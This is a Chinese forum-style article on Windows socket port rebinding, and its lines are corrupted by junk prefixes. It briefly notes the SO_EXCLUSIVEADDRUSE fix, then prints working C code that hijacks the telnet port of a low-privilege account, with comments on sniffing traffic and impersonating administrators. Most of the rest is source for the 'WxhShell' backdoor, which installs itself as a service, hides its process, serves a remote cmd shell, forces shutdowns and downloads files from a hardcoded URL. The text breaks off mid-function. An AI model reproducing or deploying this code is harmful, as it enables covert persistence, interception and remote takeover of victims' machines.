在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*3($s_r> s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
tTp`e0L*m a Z,Wa-k saddr.sin_family = AF_INET;
%'O(Y{$Y. 7gaC)j& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
(oEA)yc| W<7Bq_L[| bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
zZiVBUmE< ^
?9
~R" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
rdg1<Z h(sKGCG 这意味着什么?意味着可以进行如下的攻击:
)\G#[Pc7 J<@]7)|U 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q)zvePO# {v(|_j&:o 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
,CF~UX%
bU J?$uNlI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QLl44*@ bNgcZ
V. 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
m#'9)%t!J v*v&f!Ym&s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~VF,qspO ?GZs5CnS 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
I9m BJ/%{ C`g 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4HAfTQ 1G Elx bHQj6 #include
']x]X, #include
N@S;{uK #include
"p\KePc;@ #include
tvILLR DWORD WINAPI ClientThread(LPVOID lpParam);
2=RDAipf59 int main()
m`aUz}Y>c {
NunT2JP. WORD wVersionRequested;
)DMbO"7 DWORD ret;
.~']gih# WSADATA wsaData;
59u7q( BOOL val;
bfgLU.1I SOCKADDR_IN saddr;
i8F~$6C SOCKADDR_IN scaddr;
ga1RMRu+ int err;
M Cz3RZK SOCKET s;
e2v,#3Q\ SOCKET sc;
kJ
>B) int caddsize;
xgVt0=q HANDLE mt;
ezeGw?/ DWORD tid;
xk9]jQ7 wVersionRequested = MAKEWORD( 2, 2 );
e^fjla5 err = WSAStartup( wVersionRequested, &wsaData );
Q_S
fFsY if ( err != 0 ) {
DpAuI w7| printf("error!WSAStartup failed!\n");
}|;n[+ } return -1;
qabM@+m[ }
k<y$[xV saddr.sin_family = AF_INET;
>:Ec ~2H)#`\ac8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
P`0aU3pl <W1!n$V ] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
_IGQ<U <z saddr.sin_port = htons(23);
`YJ`?p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;X>KP,/r$ {
f7L |Jc printf("error!socket failed!\n");
/<5/gV 1Q return -1;
wTLHg2'y^ }
[69aTl>/ val = TRUE;
:98Pe6 //SO_REUSEADDR选项就是可以实现端口重绑定的
h^4oy^9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
8Og9P1jVh {
/bVI'fT printf("error!setsockopt failed!\n");
ky*-_ return -1;
b]Jh0B~Y }
uE>}>6)b //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
t+pI<c^]y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
IV\@GM:ait //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
jtA
Yp3M-$ 1}N5WBp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6oC(09 {
*`\>J.
ret=GetLastError();
,}bC printf("error!bind failed!\n");
lA{Sr0fTP return -1;
,Ti#g8j }
(FBKP#x)^ listen(s,2);
atYm.qb while(1)
R+5x:mpHy {
z\v\T|C caddsize = sizeof(scaddr);
~;{)S}U@R //接受连接请求
yfq"atj sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
QkA79%;j if(sc!=INVALID_SOCKET)
e+S%`Sg {
f9!wO';P6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|d8/ZD if(mt==NULL)
xl
s_g/Q {
8c#u"qF printf("Thread Creat Failed!\n");
&K}!R$[,:P break;
ms<?BgCSz }
m(?M]CH(A }
JGJQ5zt CloseHandle(mt);
@HR]b^2E }
afH`<! closesocket(s);
ppS,9e- WSACleanup();
8JGt|, return 0;
53#7Yy }
faThXq8B DWORD WINAPI ClientThread(LPVOID lpParam)
'Exj|Y& {
&c0U\G|j SOCKET ss = (SOCKET)lpParam;
Q4C28-# SOCKET sc;
(eSa{C\ unsigned char buf[4096];
kE=}. SOCKADDR_IN saddr;
G=(F-U;* long num;
+:;r} 7Zh DWORD val;
!|hv49!H DWORD ret;
MWu67">" //如果是隐藏端口应用的话,可以在此处加一些判断
e!Y:UB2
7u //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
5nQ*%u\$Z saddr.sin_family = AF_INET;
#"=_GA^.{ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
d0eMDIm3R\ saddr.sin_port = htons(23);
7i,}F|#8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
t(}\D]mj {
fHdPav f,S printf("error!socket failed!\n");
rXdI`l# return -1;
ul1#_xp }
C|8.$s< val = 100;
eo4;?z if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
?dY}xE
{
QD-#sU]
ret = GetLastError();
v=$v*W return -1;
G BV]7. }
;"Q{dOvp if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
5v<BB`XWp {
s8Xort& ret = GetLastError();
KFvNsqd return -1;
LSS3(l[,: }
1$]4g/":o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
JL=MlZ {
B0T[[%~3M printf("error!socket connect failed!\n");
!7]4sXL{ closesocket(sc);
< {$zOF} closesocket(ss);
9l5l"Wj& return -1;
|t5K!?{i }
R-+k>_96| while(1)
,dOd3y'y {
OQIQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`}Ssc-A //如果是嗅探内容的话,可以再此处进行内容分析和记录
b`)^Ao: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
X`YA JG num = recv(ss,buf,4096,0);
hosw :% if(num>0)
why;1z>V send(sc,buf,num,0);
t>:2F,0K9 else if(num==0)
}D-h=,]; break;
a*@ 6G num = recv(sc,buf,4096,0);
OsAH!e if(num>0)
Q[O[,Rk send(ss,buf,num,0);
Ju4={^# else if(num==0)
SO^:6GuJ break;
M}MXR=X, }
ZbD_AP closesocket(ss);
[xXa3W closesocket(sc);
Q{F*%X return 0 ;
=QXLr+
y@ }
{fW(e?8) xFvDKW)_X7 {W*_^>;K ==========================================================
J-yj&2 5RD\XgyN] 下边附上一个代码,,WXhSHELL
MdM^!sk&` Ad !=
*n ==========================================================
^o^[p % h.+{cOA;n #include "stdafx.h"
DA;,)A&=Q SUwSZ@l^| #include <stdio.h>
r6k0=6i #include <string.h>
=g|e-XC #include <windows.h>
Ln-/
9'^
#include <winsock2.h>
_EMq"\ND #include <winsvc.h>
IO3`/R- #include <urlmon.h>
ODa+s>a`^ wi]ya\(*yl #pragma comment (lib, "Ws2_32.lib")
:KY920/, #pragma comment (lib, "urlmon.lib")
k=">2!O/ CGmObN8~'F #define MAX_USER 100 // 最大客户端连接数
r,F~Vwa} #define BUF_SOCK 200 // sock buffer
MR:GH.uM: #define KEY_BUFF 255 // 输入 buffer
XwWp4`Fd g%z'#E97 #define REBOOT 0 // 重启
!}%,rtI #define SHUTDOWN 1 // 关机
~a@O1MB IRy!8A=X #define DEF_PORT 5000 // 监听端口
7u8HcHl TTB1}j+V6 #define REG_LEN 16 // 注册表键长度
%@JNX}Y' #define SVC_LEN 80 // NT服务名长度
m2&"}bI{ UykOQ-2-n // 从dll定义API
W[B%,Km%] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
OT-!n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
15PFnk6E| typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*6uZ"4rb. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
}py6H[ ?1%/G< // wxhshell配置信息
x\HHu] struct WSCFG {
dMkDNaH, int ws_port; // 监听端口
FCO5SX#-g char ws_passstr[REG_LEN]; // 口令
wkSIQL int ws_autoins; // 安装标记, 1=yes 0=no
|.kYomJ char ws_regname[REG_LEN]; // 注册表键名
Ph[P$: 9 char ws_svcname[REG_LEN]; // 服务名
8j~:p!@
char ws_svcdisp[SVC_LEN]; // 服务显示名
]WZ_~8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
88c-K{}3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7PE3>cD int ws_downexe; // 下载执行标记, 1=yes 0=no
QEd>T"@g char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]WLQ q4q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Z:F5cXt< _3_d;j#G U };
8S;]]*cD~ ( `V // default Wxhshell configuration
T(UdV]~]" struct WSCFG wscfg={DEF_PORT,
8NY$Iw "xuhuanlingzhe",
~lB im$o 1,
ZM)Y Rdh "Wxhshell",
G/Ll4
: "Wxhshell",
H8^U!"~E "WxhShell Service",
Sw##C
l# "Wrsky Windows CmdShell Service",
6k?,'&z|~ "Please Input Your Password: ",
Z7 \gj` 1,
n,KOQI; "
http://www.wrsky.com/wxhshell.exe",
<sXmk{ "Wxhshell.exe"
S@Rw+#QE };
;Dl< GW3< OyTE d5\3 // 消息定义模块
*Q=3v char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Dx<">4 char *msg_ws_prompt="\n\r? for help\n\r#>";
"S$4pj`< char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
:Ja]Vt char *msg_ws_ext="\n\rExit.";
gO
C5 char *msg_ws_end="\n\rQuit.";
:mwNkT2et char *msg_ws_boot="\n\rReboot...";
kbij Zj{ char *msg_ws_poff="\n\rShutdown...";
I]S8:w![ char *msg_ws_down="\n\rSave to ";
dWC[p ts2;?`~ char *msg_ws_err="\n\rErr!";
JryC L] char *msg_ws_ok="\n\rOK!";
XS!mtd<q Q4YIKNN|7 char ExeFile[MAX_PATH];
lYZ5FacqC int nUser = 0;
\Qp #utC0s HANDLE handles[MAX_USER];
$6p_`LD0 int OsIsNt;
@S3G> i -49z.(@ki SERVICE_STATUS serviceStatus;
;d"F'd SERVICE_STATUS_HANDLE hServiceStatusHandle;
~=W|I:@ O0?.$f9 s // 函数声明
#lA8yWxr int Install(void);
3`9H int Uninstall(void);
4H4U int DownloadFile(char *sURL, SOCKET wsh);
FB<#N+L\ int Boot(int flag);
b_Us%{ void HideProc(void);
oH/6 int GetOsVer(void);
a<CN2e_Z int Wxhshell(SOCKET wsl);
mp2J|!Lx void TalkWithClient(void *cs);
YyR)2j1O int CmdShell(SOCKET sock);
UL0%oJ# int StartFromService(void);
#&+0hS int StartWxhshell(LPSTR lpCmdLine);
w6F'rsko] w#v8a$tT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
u(ep$>[F#_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
)wU.|9o]M _I;+p eq // 数据结构和表定义
p"9a`/ SERVICE_TABLE_ENTRY DispatchTable[] =
#bX~.jKW {
OoKzPePWji {wscfg.ws_svcname, NTServiceMain},
$+` YP {NULL, NULL}
b-}nv`9C };
=3rPE"@,[ hQ!sl O // 自我安装
*2O4 *Q1 int Install(void)
w_30g6tA {
J)O1)fR char svExeFile[MAX_PATH];
iV X 12 HKEY key;
KjR^6v strcpy(svExeFile,ExeFile);
b2;+a( "bFt+N // 如果是win9x系统,修改注册表设为自启动
-uZ bVd if(!OsIsNt) {
ZKKz?reM' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8y;W+I(71 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%GUu{n<6 RegCloseKey(key);
j{,3! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~.qzQ_O/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Q9X7-\n RegCloseKey(key);
$x&@!/&|pv return 0;
Skgvnmk[U }
9g3J{pKcZ }
J{$+\ }
[u[`!L= else {
V$u~}]z O_8ERxj
g] // 如果是NT以上系统,安装为系统服务
jbQ2G|:Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
k8^!5n if (schSCManager!=0)
wCiDvHF5+C {
.uzg2Kd_ SC_HANDLE schService = CreateService
c)8V^7=Q (
|He,v/r schSCManager,
iq$edq[ wscfg.ws_svcname,
|B&KT wscfg.ws_svcdisp,
XHuY'\;- SERVICE_ALL_ACCESS,
?vL\VI9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
X%W_cb2 SERVICE_AUTO_START,
M0`nr}g SERVICE_ERROR_NORMAL,
1Sox@Ko svExeFile,
&Im{p7gf!b NULL,
)e.Y"5My NULL,
6'y+Ev$9 NULL,
65bLkR{0
NULL,
9"_JiX~3 NULL
I}/o`oc );
%+oWW5q7 if (schService!=0)
zmkqqiDp_ {
4?XX_=+F| CloseServiceHandle(schService);
!=C4=xv CloseServiceHandle(schSCManager);
X1U7$/t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pq[RH-{ strcat(svExeFile,wscfg.ws_svcname);
R?Y#>K if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vlCjh! x RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
J{'
u RegCloseKey(key);
>B$ZKE return 0;
Saa#Mj`M }
\Ku=a{Ne }
MfUG@ CloseServiceHandle(schSCManager);
(gBP`*2 }
>nmby|XtW }
>T{9-_#P 0'O; H[nrl return 1;
^
ab%Mbb }
:$d3}TjsA+ ~rEU83 // 自我卸载
{snLiCl int Uninstall(void)
7k{Oae\$ {
lZCvH1&" HKEY key;
fI}Z`* Mj |)KDL if(!OsIsNt) {
1\q(xka{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`*e',j2}UU RegDeleteValue(key,wscfg.ws_regname);
S!8eY `C. RegCloseKey(key);
L*bUjR,C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/3:R{9S% RegDeleteValue(key,wscfg.ws_regname);
9F)v= RegCloseKey(key);
\1D~4Gz6} return 0;
+<6L>ZAL }
p?X.I]=vRv }
'qQ 5K
o }
fI[tU(x else {
{U(-cdU{e` v=nq P{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
'-3AWBWI1 if (schSCManager!=0)
:FwXoJc_+5 {
QU16X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
4XK*sR0-` if (schService!=0)
A/RHb^N {
iZ#dS}VlJ if(DeleteService(schService)!=0) {
z=<T[Uy CloseServiceHandle(schService);
3B/ GcltfM CloseServiceHandle(schSCManager);
>
C{^{?~u return 0;
gbwKT`N* }
EiWy`H; CloseServiceHandle(schService);
GdEkA }
3sc5meSu' CloseServiceHandle(schSCManager);
r&)/3^S ' }
2NAGXWE }
+`9
]L]J]4 )u ]J`.OA return 1;
F6h3M~uR }
A=!&2( OGg9e // 从指定url下载文件
?XL [[vyr int DownloadFile(char *sURL, SOCKET wsh)
|\@e {
^"v~hjM# HRESULT hr;
0#F3@/1h char seps[]= "/";
rmpJG|( char *token;
&+6XdhX char *file;
W+BM|'%}| char myURL[MAX_PATH];
:Gqyj_|< char myFILE[MAX_PATH];
ma@ws,H 5 g99t$p9 strcpy(myURL,sURL);
|;'V":yDs token=strtok(myURL,seps);
>4}+\ Q`S while(token!=NULL)
Ks@S5:9sp {
y;Q_8|,F file=token;
LdR}v%EH token=strtok(NULL,seps);
&WN4/=QW-J }
\2-!%i, $5yS`IqS GetCurrentDirectory(MAX_PATH,myFILE);
GBtBmV/` strcat(myFILE, "\\");
g2;JJ} strcat(myFILE, file);
#6fp" send(wsh,myFILE,strlen(myFILE),0);
$5r[YdnY< send(wsh,"...",3,0);
VF!?B> hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
S0/@y'q3en if(hr==S_OK)
wX8T;bo& return 0;
pA='(G else
6hXL`A&}, return 1;
C>$5<bx Z/sB72K1 }
6AqHzeh \
lP
c,8) // 系统电源模块
`j(\9j ok int Boot(int flag)
eJilSFp1 {
~-GgVi*I HANDLE hToken;
Im{50%Y TOKEN_PRIVILEGES tkp;
~
61?nu !~04^( if(OsIsNt) {
15r,_Gp8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
d,iW#, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
qg:R+`z tkp.PrivilegeCount = 1;
@JT9utct tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
,IA0n79 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
T.d+@ZV<# if(flag==REBOOT) {
qw&Wfk\} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-2o4v#d return 0;
zAC }
2uZ
<q?= else {
LVq3R 8A if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
WSn^P~vC return 0;
vI{JBWE,S }
SOE#@{IXBa }
Q mOG2 else {
2WIL0Siwl if(flag==REBOOT) {
[5:,+i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
$@FD01h.t3 return 0;
:t?9$ dL }
mwZesSxB_ else {
Jn +[:s. if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=2s5>Oz+ return 0;
S+R<wv,6 }
"V&2g? }
Id
*Gs>4U (;$J5 return 1;
j.uN`cU! }
A)2vjM9}K e7t).s)b{ // win9x进程隐藏模块
]3
YJEP void HideProc(void)
Vpt)?];P {
Z=sy~6m+v xoTS?7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Dp6]!;kx if ( hKernel != NULL )
MxuwEV|^ {
xH;qJRHa pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
$7a|
9s0 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gAhCNOp FreeLibrary(hKernel);
=%znY`0b56 }
E8T4Nh_ SDcxro|8i return;
xgrk>Fb|R }
$yIcut7 v'a]SpE5 // 获取操作系统版本
LG [2u int GetOsVer(void)
hmtRs]7 {
/R^HRzTO OSVERSIONINFO winfo;
Gnj;=f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
j1N1c~2 GetVersionEx(&winfo);
CM>/b3nOW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
'X_iiR8n@p return 1;
fPiq
else
KunK.m return 0;
];R5[%:5 }
aa_&WHXkt z:^Kr"=n // 客户端句柄模块
q =b.!AZy int Wxhshell(SOCKET wsl)
K?BWl:^x {
:bE ^b SOCKET wsh;
$hPAp} struct sockaddr_in client;
G-G!c2o DWORD myID;
r6Lb0PzMf q+x4Od3 while(nUser<MAX_USER)
{DI_i +2 {
?|%^'(U} int nSize=sizeof(client);
82~UI'f \ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
D=mU!rjr1 if(wsh==INVALID_SOCKET) return 1;
Xf:CGR8_ .i"v([eQ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
i`gsT[JQRX if(handles[nUser]==0)
-fj;9('YJ closesocket(wsh);
NO
+j else
Fh?;,Z nUser++;
H
#J"' }
@I]uK[qd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(i|`PA 6ApW+/ return 0;
Gnl6>/L, }
"@gJ[BL# hAOXOj1 // 关闭 socket
k!xi
(l<C void CloseIt(SOCKET wsh)
=gGK24 3 {
DOkEWqM! closesocket(wsh);
2
L%d,Ta> nUser--;
7\"-<z;kK ExitThread(0);
1UJ(._0hR }
ynw^nmM iEr|?, // 客户端请求句柄
%pc0a^iB void TalkWithClient(void *cs)
)FMpfC>An {
.#zx[Io T)3#U8sT SOCKET wsh=(SOCKET)cs;
N,(@k[uta char pwd[SVC_LEN];
yZb@ char cmd[KEY_BUFF];
3_fLafA char chr[1];
Cs^o- g!L int i,j;
To]WCFp6@ h"l{cDk while (nUser < MAX_USER) {
Fy`VQ\%7t R{#-IH=" if(wscfg.ws_passstr) {
k|BY 7C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cOOPNa>5_ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V3yO_Iqa //ZeroMemory(pwd,KEY_BUFF);
m]Z+u e i=0;
YCh!D dy while(i<SVC_LEN) {
E"#<I*b S^I38gJd // 设置超时
O~">-'f fd_set FdRead;
g[8VfIe struct timeval TimeOut;
5G(y FD_ZERO(&FdRead);
s<E_74q1 FD_SET(wsh,&FdRead);
q1r\60M TimeOut.tv_sec=8;
`WWf?g TimeOut.tv_usec=0;
aZ5qq+1x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
twf;{lZ( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
xdYjl.f SK;f#quUQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
49/1#^T"Q> pwd
=chr[0]; @a%,0Wn
if(chr[0]==0xd || chr[0]==0xa) { .a;-7|x
pwd=0; (niZN_qv
break; \M:,Vg
} 4z#CkT
i++; r\_rnM)_xN
} YyK9UZjI
`'0opoQRe
// 如果是非法用户,关闭 socket *'d5~dz=
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wKk
} !Z%QD\knY
j|lg&kN
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tHJ1MDw'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YV!!bI
jG)>{D
while(1) { G <Lm}
"q#(}1Zd
ZeroMemory(cmd,KEY_BUFF); 1;? L:A
S:Yo9~
// 自动支持客户端 telnet标准 H#w?$?nIWu
j=0; =%2 E|/
while(j<KEY_BUFF) { ip1jY!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %*eZoLDg]
cmd[j]=chr[0]; v^,A~oe`t
if(chr[0]==0xa || chr[0]==0xd) { tG%R_$*
cmd[j]=0;
[POy"O
break; @o;m!CYB
} qn+m lduU
j++; nr s!e
} N|[a<ut<
xl# j_d,
// 下载文件 =1\'xz}p?
if(strstr(cmd,"http://")) { ^QYI`u` 4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); zQ)[re)
if(DownloadFile(cmd,wsh)) ~x4Y57
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NA0hQGN}
else ^.-P]I]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l#Qf8*0
} vP,WV9Q1u
else { q!O~*
4SG[_:+!
switch(cmd[0]) { J~c]9t
%>JqwMK
// 帮助 1XHGW=n
case '?': { c=@=lGgo
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [X~HUk??
break; =?FA9wm
} JVXBm]
// 安装 *qpmI9m
case 'i': { :;7q up
if(Install()) 08.dV<P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xX|-5cM;
else $"_D"/*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }*BY!5
break; hob%'Y5%D
} DtZkrj)D/
// 卸载 JH?[hb
case 'r': { W6\s@)b;
if(Uninstall()) 0} {QQB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~L}0)FZ\9
else M
rVtxzH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /8GVu7
break; !{ )H
} S B'.
// 显示 wxhshell 所在路径 xQ$*K]VP
case 'p': { x$A5Ved
char svExeFile[MAX_PATH]; T?% F
strcpy(svExeFile,"\n\r"); O #0:6QX
strcat(svExeFile,ExeFile); 6lZhV[~Z/
send(wsh,svExeFile,strlen(svExeFile),0); U` bvv'38#
break; [!DLT6Qk
} ggbew6L$Z
// 重启 \hm=AGI0
case 'b': { ';$2j~
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |yqx
]
if(Boot(REBOOT)) vU~#6sl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"5R^a@
else { _#-(XQ a
closesocket(wsh); 67J=#%\
ExitThread(0); 'rz*mR8
} P'FI'2cN7
break; 1Z*-@%RX
} B8C"i%8V)
// 关机 `cf&4Hn
case 'd': { !".@Wg$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fxyPh
if(Boot(SHUTDOWN)) qwVpGNc45
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rK"$@tc
else { .YLg^JfZ
closesocket(wsh); YK_a37E{F
ExitThread(0); Bz]64/
} "Tfb d^AU
break; >.zk-`>-
} S .1~#
// 获取shell 2MJ0[9
case 's': { J *^|ojX
CmdShell(wsh); ]D<r5P%
closesocket(wsh); x{IOn;>R
ExitThread(0); LN_6>u
break; dD!} P$
} I`FH^=
// 退出 V4xZC\)Gk
case 'x': { 9[8?'`m
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pn'*w1i
CloseIt(wsh); Y[*z6gP(
break; bJGT^N@
} 2j(w*k
q~
// 离开 m&o&XVC
case 'q': { PcJ,Y\"[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _DH,$evS%
closesocket(wsh); .D>%-
WSACleanup(); \@tt$ m%
exit(1); f{ENSUtCrR
break; ESb
} 1C'lT,twl
} hPhN7E03
} lSQANC'
']4sx_)S
// 提示信息 [@.%6aD
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Qt!l-/flh
} uKhfZSx0w
} JCS$Tm6y<_
;|}6\=(
return; |W{z,e01x
} $t[`}I
}
Ql#:Rx>b
// shell模块句柄 <Gs)~T#'
int CmdShell(SOCKET sock) #;2Ju'e#z
{ `O0v2?/f0
STARTUPINFO si; vek9. 4! ]
ZeroMemory(&si,sizeof(si)); >fQ-(io
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (?)".Q0
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; piY=(y&3
PROCESS_INFORMATION ProcessInfo; V,{ydxfB
char cmdline[]="cmd"; (hdP(U77
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /GfC/)1_
return 0; C:$ l H
} [u/g =^+u
64`V+Hd
// 自身启动模式 rzEE |
int StartFromService(void) t$R|lv5<
{ xZbm,.v
typedef struct \q%li)
{ H@5:x8
DWORD ExitStatus; )2u=U9
DWORD PebBaseAddress; QvjsI;CQ-
DWORD AffinityMask; v8_HaA$5Y
DWORD BasePriority; D|6prC%/
